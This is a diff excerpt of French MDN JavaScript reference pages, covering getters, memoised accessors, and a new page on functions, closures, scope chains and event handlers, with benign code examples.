Notez qu'essayer d'assigner à dernier une valeur ne le modifiera pas.

+ +

Supprimer un accesseur avec l'opérateur delete

+ +
delete o.dernier;
+
+ +

Définir un accesseur sur des objets existants grâce à defineProperty

+ +

Afin d'ajouter un accesseur à un objet qui existe déjà, on peut utiliser la méthode {{jsxref("Object.defineProperty()")}}.

+ +
var o = { a:0 }
+
+Object.defineProperty(o, "b", { get: function () { return this.a + 1; } });
+
+console.log(o.b) // Utilise l'accesseur qui génère a + 1 (qui correspond à 1)
+ +

Utiliser un nom de propriété calculé

+ +
var expr = "toto";
+
+var obj = {
+  get [expr]() { return "truc"; }
+};
+
+console.log(obj.toto); // "truc"
+ +

Accesseurs mémoïsés

+ +

Les accesseurs permettent de définir des propriétés sur un objet mais ils ne calculent pas la valeur de la propriété tant qu'il n'y a pas d'accès envers celle-ci. Un accesseur délègue le coût de calcul jusqu'au moment où la valeur est vraiment nécessaire (si cette dernière n'est jamais utilisée, cela ne coûte alors rien).

+ +

Une technique supplémentaire pour optimiser ou retarder le calcul d'une valeur d'une propriété et de la mettre en cache pour les accès ultérieurs consiste à utiliser des accesseurs intelligents « mémoïsés ». La valeur est calculée lors du premier appel de l'accesseur puis est mise en cache afin que les appels ultérieurs renvoient la valeur en cache sans la recalculer. Cette méthode peut s'avérer utile dans plusieurs situations :

+ +
    +
  • Si le calcul de la valeur est coûteux (il consomme beaucoup de RAM ou de temps CPU, il crée de nouveaux threads, il utilise des fichiers distants, etc.).
    • +
  • Si la valeur est utilisée plus tard ou, dans certains cas, n'est pas utilisée du tout.
    • +
  • Si elle est utilisée plusieurs fois, il n'est pas nécessaire de la recalculer car sa valeur ne changera pas.
    • +
+ +

Cela signifie qu'un tel accesseur ne doit pas être utilisé si la valeur peut être modifiée au cours du temps. En effet, avec la définition qu'on vient de lui donner, un tel accesseur ne recalculera pas la valeur.

+ +

Dans l'exemple suivant, l'objet possède un accesseur en propriété propre. Lors de l'accès à la propriété, la propriété est retirée de l'objet puis réajoutée mais sous forme d'une propriété de donnée (et non d'un accesseur). Enfin, la valeur est renvoyée :

+ +
get notifier() {
+  delete this.notifier;
+  return this.notifier = document.getElementById("bookmarked-notification-anchor");
+},
+ +

Cet exemple est utilisé dans le code de Firefox, notamment dans le code du module XPCOMUtils.jsm qui définit la fonction defineLazyGetter().

+ +

get ou defineProperty ?

+ +

Bien que le mot-clé get et la méthode {{jsxref("Object.defineProperty()")}} aient des résultats similaires, il subsiste une différence lorsqu'on utilise les classes.

+ +

Lorsqu'on utilise get, la propriété sera définie sur le prototype de l'objet. Avec {{jsxref("Object.defineProperty()")}}, la propriété sera définie sur l'instance à laquelle la méthode s'applique.

+ +
class Exemple {
+  get coucou() {
+    return 'monde';
+  }
+}
+
+const obj = new Exemple();
+console.log(obj.coucou);
+// "monde"
+console.log(Object.getOwnPropertyDescriptor(obj, 'coucou'));
+// undefined
+console.log(Object.getOwnPropertyDescriptor(Object.getPrototypeOf(obj), 'coucou'));
+// { configurable: true, enumerable: false, get: function get coucou() { return 'monde'; }, set: undefined }
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}{{Spec2('ES5.1')}}Définition initiale
{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ES2015')}}Ajout des noms de propriétés calculés.
{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.get")}}

+ +

Voir aussi

+ +
    +
  • set
    • +
  • {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}
    • +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Object.defineGetter", "__defineGetter__")}}
    • +
  • {{jsxref("Object.defineSetter", "__defineSetter__")}}
    • +
  • Définir des accesseurs et mutateurs, un chapitre du Guide JavaScript
    • +
diff --git a/files/fr/web/javascript/reference/functions/index.html b/files/fr/web/javascript/reference/functions/index.html new file mode 100644 index 0000000000..db017be99e --- /dev/null +++ b/files/fr/web/javascript/reference/functions/index.html @@ -0,0 +1,852 @@ +--- +title: Fonctions et portée des fonctions +slug: Web/JavaScript/Reference/Fonctions +tags: + - Function + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Functions +--- +
{{jsSidebar("Functions")}}
+ +

De manière générale, une fonction est un « sous-programme » qui peut être appelé par du code extérieur à la fonction (ou du code interne dans le cas d'une récursion). Comme le programme, une fonction est composée d'une suite d'instructions qui forment le corps de la fonction. Il est parfois possible de passer des valeurs à une fonction et une fonction peut éventuellement retourner (ou renvoyer) une valeur.

+ +

En JavaScript, les fonctions sont des objets de première classe. Cela signifie qu'elles peuvent être manipulées et échangées, qu'elles peuvent avoir des propriétés et des méthodes, comme tous les autres objets JavaScript. Les fonctions sont des objets {{jsxref("Objets_globaux/Function","Function")}}.

+ +

Pour plus d'informations et d'exemples, on pourra également consulter le chapitre du Guide JavaScript sur les fonctions.

+ +

Description

+ +

Toute fonction JavaScript est en fait un objet Function. Voir la page {{jsxref("Objets_globaux/Function","Function")}} pour des informations sur les propriétés et les méthodes de ces objets.

+ +

Afin de renvoyer une valeur, la fonction doit comporter une instruction {{jsxref("Instructions/return","return")}} qui définit la valeur à renvoyer (sauf dans le cas d'un constructeur qui a été appelé avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new")}}). Une fonction qui ne renvoie pas de valeur retourne {{jsxref("undefined")}}.

+ +

Les paramètres donnés lors de l'appel d'une fonction sont appelés les arguments de la fonction. Les arguments sont passés par valeur (by value en anglais). Si la fonction modifie la valeur d'un argument, ce changement ne se répercute pas en dehors de la fonction. Il existe cependant les références d'objets qui sont aussi des valeurs mais qui possèdent la particularité suivante : si la fonction modifie les propriété de l'objet de la référence, ce(s) changement(s) seront perceptibles en dehors de la fonction. Prenons l'exemple suivant :

+ +
 /* Déclaration de la fonction 'maFonction' */
+ function maFonction(monObjet)
+ {
+   monObjet.marque = "Toyota";
+ }
+
+ /*
+  * Déclaration de la variable 'mavoiture';
+  * création et initialisation d'un nouvel objet;
+  * assigner une référence à 'mavoiture'
+  */
+ var mavoiture = {
+   marque: "Honda",
+   modele: "Accord",
+   annee: 1998
+ };
+
+ /* Affiche 'Honda' */
+ console.log(mavoiture.marque);
+
+ /* Passer la référence de l'objet à la fonction */
+ maFonction(mavoiture);
+
+ /*
+  * Affiche 'Toyota' pour valeur de la propriété 'marque'
+  * de l'objet. C'est ce que la fonction a changé.
+  */
+ console.log(mavoiture.marque);
+
+ +

Le mot-clé this ne fait pas référence à la fonction en cours d'exécution. Il faut donc faire référence aux objets Function par leurs noms, et ce même au sein du corps de la fonction.

+ +

Définir des fonctions

+ +

Il y a plusieurs façons de définir des fonctions

+ +

Déclarer une fonction (l'instruction function)

+ +

Il existe une syntaxe spécifique pour la déclaration des fonctions (vous pouvez consulter la page de l'instruction {{jsxref("Instructions/function","function")}} pour plus de détails) :

+ +
function nom([param[, param[, ... param]]]) {
+   instructions
+}
+
+ +
+
nom
+
Le nom de la fonction.
+
+ +
+
param
+
Le nom d'un argument à passer à la fonction (une fonction pouvant avoir jusqu'à 255 arguments).
+
+ +
+
instructions
+
Les instructions qui forment le corps de la fonction.
+
+ +

Utiliser une expression de fonction (l'expression function)

+ +

L'expression d'une fonction se fait d'une façon similaire à la déclaration (veuillez consulter la page de l'expression {{jsxref("Opérateurs/L_opérateur_function","function")}} pour plus d'informations) :

+ +
function [nom]([param] [, param] [..., param]) {
+   instructions
+}
+
+ +
+
nom
+
Le nom de la fonction. Il est facultatif, auquel cas la fonction devient une fonction anonyme.
+
+ +
+
param
+
Le nom d'un argument à passer à la fonction.
+
instructions
+
Les instructions qui forment le corps de la fonction.
+
+ +

Voici un exemple d'expression de fonction anonyme (il n'y a pas de nom utilisé) :

+ +
var maFonction = function() {
+  /* instructions */
+}
+ +

Il est également possible de fournir un nom lors de la définition afin de créer une expression de fonction nommée :

+ +
var maFonction = function fonctionNommée(){
+  /* instructions */
+}
+
+ +

L'un des bénéfices d'utiliser une expression de fonction nommée est que son nom sera utilisé dans la pile d'appel lors qu'on aura une erreur. Avec le nom de la fonction, il sera plus facile de repérer l'origine de l'erreur.

+ +

Comme on peut le voir, ces deux derniers exemples ne commencent pas avec le mot-clé function. Les instructions qui déclarent des fonctions mais qui ne commencent pas avec function sont des expressions de fonction.

+ +

Lorsque les fonctions sont utilisées une unique fois, on peut utiliser une « expression de fonction immédiatement invoquée » (ou plus généralement appelée IIFE pour Immediately Invokable Function Expression en anglais).

+ +
(function() {
+    /* instruction */
+})();
+ +

Les IIFE sont des expressions de fonction appelées dès que la fonction est déclarée.

+ +

Utiliser une déclaration de fonction génératrice (l'instruction function*)

+ +

Il existe une syntaxe spéciale pour déclarer des générateurs (voir la page sur l'instruction {{jsxref('Instructions/function*', 'function*')}} pour plus de détails) :

+ +
function* nom([param[, param[, ... param]]]) {
+   instructions
+}
+ +
+
nom
+
Le nom de la fonction.
+
+ +
+
param
+
Le nom d'un argument à passer à la fonction.
+
+ +
+
instructions
+
Les instructions qui forment le corps de la fonction.
+
+ +

Utiliser une expression de générateur (l'expression function*)

+ +

Une expression de générateur est similaire à une déclaration de fonction génératrice et possède presque la même syntaxe (pour plus de détails, consulter la page sur l'expression {{jsxref('Opérateurs/function*', 'function*')}}) :

+ +
function* [nom]([param[, param[, ... param]]]) {
+   instructions
+}
+ +
+
nom
+
Le nom de la fonction. Ce paramètre peut être omis, auquel cas la fonction sera une fonction anonyme.
+
+ +
+
param
+
Le nom d'un argument à passer à la fonction.
+
instructions
+
Les instructions qui composent le corps de la fonction.
+
+ +

Utiliser une expression de fonction fléchée (=>)

+ +

Une expression de fonction fléchée possède une syntaxe plus courte et est liée, de façon lexicale, à sa valeur (voir la page sur les fonctions fléchées pour plus de détails) :

+ +
([param[, param]]) => {
+   instructions
+}
+
+param => expression
+
+ +
+
param
+
Le nom d'un argument. S'il n'y a pas d'arguments, cela doit être indiqué par ().  S'il y a un seul argument, les parenthèses ne sont pas obligatoires (par exemple :  toto => 1).
+
instructions ou expression
+
S'il y a plusieurs instructions, elles doivent être encadrées par des accolades. Une expression unique ne doit pas obligatoirement être entourée d'accolades. L'expression est également la valeur de retour implicite de la fonction.
+
+ +

Le constructeur Function

+ +
+

Note : L'utilisation du constructeur Function afin de créer des fonction n'est pas recommandée. En effet, il utilise une chaîne pour former le corps de la fonction et cela peut empêcher certaines optimisations du moteur JavaScript ainsi que provoquer d'autres problèmes.

+
+ +

Comme tous les autres objets, les objets {{jsxref("Function")}} peuvent être créés grâce à l'opérateur new :

+ +
new Function (arg1, arg2, ... argN, corpsDeLaFonction)
+
+ +
+
arg1, arg2, ... argN
+
Plusieurs (zéro ou plus) noms qui seront utilisés par la fonction comme noms d'arguments formels. Chaque nom doit être une chaîne de caractères valide au sens d'un identifiant JavaScript ou alors être une liste de telles chaînes séparées par des virgules. On aura les exemples suivants : "x", "laValeur", ou "a,b".
+
+ +
+
corpsDeLaFonction
+
Une chaîne de caractères contenant les instructions JavaScript définissant la fonction.
+
+ +

L'invocation du constructeur Function en tant que fonction (sans utiliser l'opérateur new) a le même effet que son invocation en tant que constructeur.

+ +

Le constructeur GeneratorFunction

+ +
+

Note : GeneratorFunction n'est pas un objet global mais pourrait être obtenu à partir de l'instance de la fonction génératrice (voir la page {{jsxref("GeneratorFunction")}} pour plus de détails).

+
+ +
+

Note : Le constructeur GeneratorFunction ne doit pas être utilisé pour créer des fonctions. En effet, il utilise une chaîne pour former le corps de la fonction et cela peut empêcher certaines optimisations du moteur JavaScript ainsi que provoquer d'autres problèmes.

+
+ +

Comme pour tous les autres objets, les objets {{jsxref("GeneratorFunction")}} peuvent être créés grâce à l'opérateur new :

+ +
new GeneratorFunction (arg1, arg2, ... argN, corpsFonction)
+ +
+
arg1, arg2, ... argN
+
Plusieurs (zéro ou plus) noms qui seront utilisés par la fonction comme noms d'arguments formels. Chaque nom doit être une chaîne de caractères valide au sens d'un identifiant JavaScript ou alors être une liste de telles chaînes séparées par des virgules. On aura les exemples suivants : "x", "theValue", ou "a,b".
+
+ +
+
corpsFonction
+
Une chaîne de caractères contenant les instructions JavaScript définissant la fonction.
+
+ +

Les paramètres d'une fonction

+ +

Les paramètres par défaut

+ +

Les paramètres par défaut permettent aux paramètres déclarés d'une fonction de pouvoir être initialisés avec des valeurs par défaut s'ils ne sont pas fournis à la fonction ou s'ils valent undefined. Pour plus de détails, voir la page de la référence sur les paramètres par défaut.

+ +

Les paramètres du reste

+ +

Cette syntaxe permet de représenter un nombre indéfini d'arguments sous forme d'un tableau. Pour plus de détails, voir la page sur les paramètres du reste.

+ +

L'objet arguments

+ +

Il est possible de faire référence aux arguments d'une fonction au sein de cette fonction en utilisant l'objet arguments. Consulter la page arguments pour plus d'informations.

+ +
    +
  • arguments : Un objet semblable à un tableau qui contient les arguments passés à la fonction qui est exécutée.
    • +
  • arguments.callee {{Deprecated_inline}} : La fonction en cours d'exécution.
    • +
  • arguments.caller {{Obsolete_inline}} : La fonction qui a appelé la fonction courante.
    • +
  • arguments.length : Le nombre d'arguments passés à la fonction.
    • +
+ +

Récursion

+ +

Une fonction peut faire référence à elle-même et s'appeler elle-même. Il y a trois façons pour qu'une fonction fasse appel à elle-même :

+ +
    +
  1. le nom de la fonction
    2. +
  2. arguments.callee
    3. +
  3. une variable interne faisant référence à la fonction
    4. +
+ +

Avec l'exemple suivant :

+ +
var truc = function toto() {
+   // instructions
+};
+
+ +

Ce qui suit sera équivalent au sein de la fonction :

+ +
    +
  1. toto()
    2. +
  2. arguments.callee()
    3. +
  3. truc()
    4. +
+ +

Une fonction qui s'appelle elle-même est appelée une fonction récursive. D'une certaine manière, une récursion est semblable à une boucle. Une récursion et une boucle exécutent le même code plusieurs fois et s'appuient sur une condition (afin d'éviter une boucle infinie, ou plutôt une récursion infinie ici). Ainsi la boucle suivante :

+ +
var x = 0;
+// "x < 10" est la condition de la boucle
+while (x < 10) {
+   // faire des choses
+   x++;
+}
+
+ +

peut être convertie en une fonction récursive et un appel à cette fonction :

+ +
function boucle(x) {
+   // "x >= 10" est la condition de sortie
+   // (et équivaut à "!(x < 10)")
+   if (x >= 10)
+      return;
+   // faire des choses
+   boucle(x + 1); // l'appel récursif
+}
+boucle(0);
+
+ +

Cependant, certains algorithmes ne peuvent pas être traduits sous forme de boucles itératives. Ainsi, obtenir tous les nœuds d'un arbre (par exemple le DOM), est beaucoup plus facile à faire de manière récursive.

+ +
function parcoursArbre(noeud) {
+   if (noeud == null) //
+      return;
+   // faire quelque chose avec le noeud
+   for (var i = 0; i < noeud.childNodes.length; i++) {
+      parcoursArbre(noeud.childNodes[i]);
+   }
+}
+
+ +

Par rapport à la fonction boucle, chaque appel récursif enchaîne ici plusieurs appels récursifs successifs.

+ +

Il est théoriquement possible de convertir tout algorithme récursif en un algorithme non-récursif. Cependant, la logique du problème est souvent beaucoup plus complexe et l'on doit faire recours à une pile pour le résoudre. Mais la récursion n'est en fait rien d'autre que l'utilisation d'une pile : la pile de la fonction.

+ +

La comportement de la récursion en tant que pile peut être observée avec cet exemple :

+ +
function truc(i) {
+   if (i < 0)
+      return;
+   console.log('début :' + i);
+   toto(i - 1);
+   console.log('fin :' + i);
+}
+truc(3);
+
+ +

Elle produira le résultat suivant :

+ +
début :3
+début :2
+début :1
+début :0
+fin :0
+fin :1
+fin :2
+fin :3
+
+ +

Fonctions imbriquées et fermetures

+ +

Il est possible d'imbriquer une fonction au sein d'une fonction. La fonction imbriquée (interne) est privée par rapport à la fonction (externe) qui la contient. Cela forme ce qu'on appelle une fermeture (closure en anglais).

+ +
+
Une fermeture est une expression (généralement une fonction) possédant des variables libres ainsi qu'un environnement qui lie ces variable (autrement dit qui « ferme » l'expression).
+
+ +

Étant donné qu'une fonction imbriquée est une fermeture, cela signifie que la fonction imbriquée peut « hériter » des arguments et des variables de la fonction qui la contient. En d'autres termes, la fonction interne contient la portée de la fonction externe.

+ +

Pour résumer :

+ +
    +
  • on ne peut accéder à la fonction interne seulement avec des instructions contenues dans la fonction externe,
    • +
+ +
    +
  • la fonction interne est une fermeture : la fonction interne peut utiliser des arguments et des variables de la fonction externe alors que la fonction externe ne peut pas utiliser de variables et d'arguments de la fonction interne.
    • +
+ +

L'exemple suivant, montre le cas de fonctions imbriquées :

+ +
function ajouteCarres(a,b) {
+   function carre(x) {
+      return x * x;
+   }
+   return carre(a) + carre(b);
+}
+var a = ajouteCarres(2,3); // renvoie 13
+var b = ajouteCarres(3,4); // renvoie 25
+var c = ajouteCarres(4,5); // renvoie 41
+
+ +

Étant donné que la fonction interne est une fermeture, il est possible d'appeler la fonction externe et de définir des arguments pour la fonction externe mais aussi pour la fonction interne :

+ +
function externe(x) {
+   function interne(y) {
+      return x + y;
+   }
+   return interne;
+}
+var fn_interne = externe(3);
+var resultat = fn_interne(5); // renvoie 8
+
+var resultat1 = externe(3)(5); // renvoie 8
+
+ +

Conservation des variables

+ +

On voit alors que x est conservé lorsqu'interne est renvoyé. Une fermeture doit conserver les arguments et les variables au sein de toutes les portées auxquelles elle fait référence. Étant donné qu'éventuellement, chaque appel fournira des arguments différents, une nouvelle fermeture est créée pour chaque appel externe. La mémoire peut donc être libérée seulement lorsque inside n'est plus accessible.

+ +

Cela n'est pas différent du stockage de références avec d'autres objets, mais ça reste plus délicat à observer puisqu'on ne peut inspecter ou définir soi-même les références en question.

+ +

Imbrication multiple de fonctions

+ +

On peut imbriquer plusieurs fonctions : une fonction (A) contien une fonction (B) qui contient une fonction (C). Ici les fonctions B et C forment des fermetures et aisni B peut accéder à A et C peut accéder à B. On peut donc en déduire, puisque C accède à B qui accède à A que C peut accéder à A. On voit donc que les fermetures peuvent contenir différentes portées. Elles peuvent, récursivement, contenir la portée des fonctions qui la contiennent. Ce mécanisme est appelé « chaînage de portée »  (scope chaining en anglais). (Cette dénomination sera expliquée par la suite.)

+ +

On peut l'observer avec l'exemple suivant :

+ +
function A(x) {
+   function B(y) {
+      function C(z) {
+         console.log(x + y + z);
+      }
+      C(3);
+   }
+   B(2);
+}
+A(1); // crée un message d'alerte avec 6 (= 1 + 2 + 3)
+
+ +

Dans cet exemple, C accède à la variable y de B et à la variable x de A. Cela est possible parce que :

+ +
    +
  1. B est une fermeture qui contient A, autrement dit B peut accéder aux arguments et aux variables de A
    2. +
  2. C est une fermeture qui contient B
    3. +
  3. Étant donné que la fermeture de B contient A et que celle de C contient B, C peut accéder à la fois aux arguments et variables de B et A. Autrement dit, C enchaîne les portées de  B et A dans cet ordre.
    4. +
+ +

La réciproque n'est pas vraie. A ne peut avoir accès à C, parce que A ne peut accéder ni aux variables ni aux arguments de B, or C est une variable de B. C est donc privé et seulement pour B.

+ +

Conflits de noms

+ +

Lorsque deux arguments ou variables appartenant aux portées d'une fermeture ont le même nom, il y a un conflit de noms. La portée la plus interne l'emportera par rapport à la portée la plus externe. C'est ce qu'on appelle la chaîne de portée (scope chain en anglais). Le premier maillon de cette chaîne est la portée la plus interne tandis que le dernier maillon est représenté par la portée la plus externe. Regardons l'exemple suivant :

+ +
function externe() {
+   var x = 10;
+   function interne(x) {
+      return x;
+   }
+   return interne;
+}
+resultat = externe()(20); // renvoie 20 et non pas 10
+
+ +

Le conflit de nom apparaît avec l'instruction return x et vient de la dénomination commune de l'argument x de la fonction interne et la variable x de la fonction externe. La chaîne de portée est, pour cet exemple : {interne, externe, objet globalt}. On voit alors que le  x de la fonction interne l'emporte sur le x de la fonction externe. 20 (x de la fonction interne) est donc renvoyé plutôt que 10 (x de la fonction externe).

+ +

Définition des méthodes

+ +

Les accesseurs et mutateurs (getter et setter)

+ +

Il est possible de définir des méthodes qui sont accesseurs ou des mutateurs sur n'importe quel objet qui peut avoir de nouvelles propriétés. La syntaxe utilisée pour définir les getters et setters est celle utilisée avec les littéraux objets.

+ +
+
get
+
+

Permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on accèdera à la propriété.

+
+
set
+
Permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on tentera de modifier cette propriété.
+
+ +

Syntaxe des définitions de méthode ECMAScript 2015

+ +

Avec ECMAScript 2015, il est possible de définir des méthodes de façon plus concise (à la façon de ce qui est déjà possible pour les getters et setters). Voir la page sur les définitions de méthodes pour plus d'informations.

+ +
var obj = {
+  toto() {},
+  truc() {}
+};
+ +

Constructeur, déclaration, expression ?

+ +

Comparons les exemples suivants :

+ +
    +
  1. une fonction définie grâce au constructeur Function assignée à la variable multiplier + + 
    var multiplier = new Function("x", "y", "return x * y;");
+
    +
    2. +
  2. une déclaration de fonction d'une fonction appelée multiplier + 
    function multiplier(x, y) {
+   return x * y;
+}
+
    +
    3. +
  3. une expression de fonction d'une fonction anonyme assignée à la variable multiplier + 
    var multiplier = function(x, y) {
+   return x * y;
+};
+
    +
    4. +
  4. une expression de fonction d'une fonction nommée fonction_nom assignée à la variable multiplier + 
    var multiplier = function function_nom(x, y) {
+   return x * y;
+};
+
    +
    5. +
+ +

Tous ces exemples effectuent à peu près la même chose, mais différent sur quelques points :

+ +
    +
  • Il y a une distinction entre le nom de la fonction et la variable à laquelle elle est affectée : +
      +
    • le nom de la fonction ne peut être changé alors que la variable à laquelle la fonction a été assignée peut être réassignée.
      • +
    • le nom de la fonction ne peut-être utilisé qu'à l'intérieur du corps de la fonction. Toute tentative d'utilisation en dehors du corps de la fonction entraînera une erreur (ou undefined si le nom de la fonction a été déclaré auparavant avec une instruction var). Ainsi : + 
      var y = function x() {};
+console.log(x); // renvoie une erreur
+
      + +

      Le nom de la fonction apparaît également lorsque la fonction est sérialisée avec la méthode toString de l'objet Function.

      + +

      La variable à laquelle est assignée la fonction est seulement limitée par rapport à la portée. La portée au sein de laquelle la fonction est déclarée est donc garantie d'être dans la portée de la variable.

      +
      • +
    • Comme le montre le quatrième exemple, le nom de la fonction peut être différent du nom de la variable à laquelle a été assignée la fonction. Les deux noms n'ont aucune relation entre eux.
      • +
    +
    • +
  • Une déclaration de fonction peut aussi créer une variable avec le même nom que la fonction. Ainsi, contrairement une expression de fonction, une déclaration de fonction permet d'accéder à la fonction grâce à son nom au sein de la portée dans laquelle elle a été définie : + 
    function x() {}
+console.log(x); // affichera la fonction x sérialisée en une chaîne de caractères
+
    + +

    L'exemple qui suit montre que les noms de fonctions ne sont par liées aux variables auxquelles sont assignées les fonctions. Si une variable de fonction est assignée à une autre valeur, elle aura toujours le même nom de fonction :

    + + 
    function toto() {}
+console.log(toto); // message affichant la chaine de caractères "toto"
+var truc = toto;
+console.log(truc); // message affichant la chaine de caractères "toto"
+
    +
    • +
  • Une fonction définie grâce à « new Function » n'aura pas de nom de fonction. Cependant, le moteur JavaScript SpiderMonkey, la forme sérialisée de la fonction apparaît comme si la fonction avait le nom « anonymous ». Le code console.log(new Function()) produira : + 
    function anonymous() {
+}
+
    + +

    La fonction n'ayant pas de nom effectif, anonymous n'est pas une variable à laquelle on pourra accéder au sein de la fonction. Par exemple, le code qui suit produira une erreur :

    + + 
    var toto = new Function("console.log(anonymous);");
+toto();
+
    +
    • +
  • À la différence des fonctions définies par les expressions de fonction ou par le constructeur Function, une fonction définie par une déclaration de fonction pourra être utilisée avant la déclaration. Ainsi : + 
    toto(); // affichera TOTO !
+function toto() {
+   console.log('TOTO !');
+}
+
    +
    • +
  • Une fonction définie par une expression de fonction hérite de la portée courante. La fonction forme donc une fermeture. En revanche, les fonctions définies par le constructeur Function n'héritent que de la portée globale (portée héritée par toutes les fonctions).
    • +
  • Les fonctions définies par les expressions et les déclarations de fonctions ne sont analysées (parsées) qu'une seule fois. Celles définies grâce au constructeur Function ne le sont pas. Cela signifie que la chaîne de caractère représentant le corps de la fonction doit être analysée à chaque fois qu'elle est évaluée. Bien qu'une expression de fonction crée obligatoirement une fermeture, le corps de la fonction n'est pas parsé à nouveau. Les expressions de fonctions sont donc plus rapides que « new Function(...) ». Il faut donc éviter le constructeur Function autant que possible.
    + Il faut cependant noter que les expressions et les déclarations imbriquées au sein d'une chaîne de caractère pour un constructeur Function ne sont analysées qu'une seule fois. On aura l'exemple suivant : + 
    var toto = (new Function("var truc = \'TOTO !\';\nreturn(function() {\n\tconsole.log(truc);\n});"))();
+toto(); //La partie « function() {\n\tconsole.log(truc);\n} » de la chaîne de caractères n'est pas analysée à nouveau.
    +
    • +
+ +

Une déclaration de fonction peut très facilement (et souvent involontairement) être transformée en une expression de fonction. Une déclaration de fonction cesse d'en être une lorsque :

+ +
    +
  • elle fait partie d'une expression
    • +
  • ou elle n'est plus un « élément source » de la fonction ou du script. Un « élément source » est une instruction non-imbriquée du script ou d'un corps de fonction. + 
    var x = 0;                 // élément source
+if (x === 0) {              // élément source
+   x = 10;                 // pas un élément source
+   function titi() {}      // pas un élément source
+}
+function toto() {          // élément source
+   var y = 20;             // élément source
+   function truc() {}      // élément source
+   while (y === 10) {       // élément source
+      function machin() {} // pas un élément source
+      y++;                 // pas un élément source
+   }
+}
+
    +
    • +
+ +

Exemples :

+ +
    +
  • + 
    // déclaration de fonction
+function toto() {}
+
+// expression de fonction
+(function truc() {})
+
+// expression de fonction
+var x = function bonjour() {}
    +
    • +
  • + 
    if (x) {
+   // expression de fonction
+   function monde() {}
+}
+
    +
    • +
  • + 
    // déclaration de fonction
+function a() {
+   // déclaration de fonction
+   function b() {}
+   if (0) {
+      // expression de fonction
+      function c() {}
+   }
+}
+
    +
    • +
+ +

Définir une fonction de façon conditionnelle

+ +

Il est possible de définir des fonctions de manière conditionnelle en utilisant soit : //function statements// (une extension autorisée par le standard ECMA-262 Edition 3) soit le constructeur Function. Il faut noter que de telles instructions ne sont plus autorisées dans le standard ES5 strict. Il faut également savoir que cela ne fonctionne pas de manière homogène sur les différents navigateurs. Il est donc déconseillé d'utiliser cette fonctionnalité.

+ +

Dans le script qui suit, la fonction zero n'est jamais définie et ne peut donc être appelée car le test « if (0) » est toujours faux :

+ +
if (0) {
+   function zero() {
+      console.log("C'est zero.");
+   }
+}
+
+ +

Si le script est changé et que la condition devient « if (1) », la fonction zero sera alors définie.

+ +

Bien que cette fonction ressemble à une déclaration de fonction, il s'agit en fait d'une expression (ou instruction) de fonction, car celle-ci est imbriquée au sein d'une autre instruction. (Consulter le paragraphe précédent pour une explication à ce sujet).

+ +
+

Note : À la différence de SpiderMonkey, certains moteurs JavaScript traîtent incorrectement les expressions de fonction avec un nom comme des définitions de fonction. Cela conduirait à la définition de la fonction zero et ce même avec la condition if valant faux. Une façon plus sûre de définir des fonctions de manière conditionnelle est de définir la fonction et de l'assigner à une variable :

+ +
if (0) {
+   var zero = function() {
+      console.log("C'est zero");
+   }
+}
+
+
+ +

Les fonctions en tant que gestionnaires d'événements

+ +

En JavaScript, les gestionnaires d'événements DOM (event handlers en anglais) sont des fonctions (différentes des objets contenant une méthode handleEvent dans d'autres langages de liaison avec le DOM -binding languages en anglais). Les fontions ont l'objet event comme seul et unique paramètre. Comme tous les autres paramètres, si l'objet événement, n'a pas besoin d'être utilisé, il peut être absent de la liste des paramètres formels.

+ +

Les objets d'un document HTML susceptibles de recevoir des événements peuvent être par exemple : window (objets Window, y compris les objets frames), document (les objets HTMLDocument), et les éléments (les objets Element). Au sein du DOM HTML, les objets recevant des événements possède des propriétés gestionnaires d'événements. Ces propriétés sont les noms des événements en minuscules préfixés par « on » (par exemple onfocus). Une autre façon, plus fiable, d'ajouter des auditeurs d'événements, est offert par les événements DOM de niveau 2.

+ +

Note : Les événements font partie de la logique DOM et non de celle de JavaScript. (JavaScript n'est qu'un langage permettant de manipuler le DOM.)

+ +

L'exemple suivant assigne une fonction au gestionnaire de l'événement « focus ».

+ +
window.onfocus = function() {
+   document.body.style.backgroundColor = 'white';
+};
+
+ +

Si une fonction est assignée à une variable, il est possible d'assigner la variable à un gestionnaire d'événement. Le fragment de code qui suit assigne une fonction à la variable setBGColor.

+ +
var setBGColor = new Function("document.body.style.backgroundColor = 'white';");
+
+ +

Il est alors possible d'utiliser cette variable pour assigner une fonction à un gestionnaire d'événement. Cela peut se faire de plusieurs manières, en voici deux décrites ici :

+ +
    +
  1. écrire dans les propriétés de l'évément DOM HTML + 
    document.form1.colorButton.onclick = setBGColor;
+
    +
    2. +
  2. l'attribut de l'événement HTML + 
    <input type="button"
+   value="Changer la couleur de fond"
+   onclick="setBGColor();"/>
+
    + +

    Un gestionnaire d'événement défini de cette manière sera une fonction, nommée selon l'attribut, encadré du code spécifique nécessaire. C'est pourquoi les parenthèses sont ici nécessaires (setBGColor() et non pas setBGColor). Cela est équivalent à :

    + + 
    document.form1.colorButton.onclick = function onclick(event) {
+   setBGColor();
+};
+
    + +

    Il faut noter la façon dont l'objet événement est passé à la fonction en tant que paramètre event. Cela permet au code d'utiliser l'objet Event :

    + + 
    <input ...
+    onclick="console.log(event.target.tagName);"/>
+
    +
    3. +
+ +

Tout comme les autres propriétés faisant référence à une fonction, le gestionnaire d'événement peut agir come une méthode et this ferait alors référence à l'élément contenant le gestionnaire d'événement. Dans l'exemple suivant, la fonction à laquelle onfocus fait référence est appelée avec this qui a la valeur window.

+ +
window.onfocus();
+
+ +

Une erreur faite souvent lorsque l'on commence à utiliser JavaScript est d'ajouter des parenthèses et/ou des paramètres à la fin de la variable. Cela revient à appeler le gestionnaire d'événement lorsqu'on l'assigne. Le fait d'ajouter ces parenthèses assignera la valeur de retour du gestionnaire d'événement. Cette valeur sera souvent undefined dans ces cas alors que l'on aurait souhaité obtenir le gestionnaire d'événement.

+ +
document.form1.button1.onclick = setBGColor();
+
+ +

Afin de passer des paramètres à un gestionnaire d'événements, le gestionnaire doit être enveloppé dans une autre fonction, comme dans l'exemple suivant :

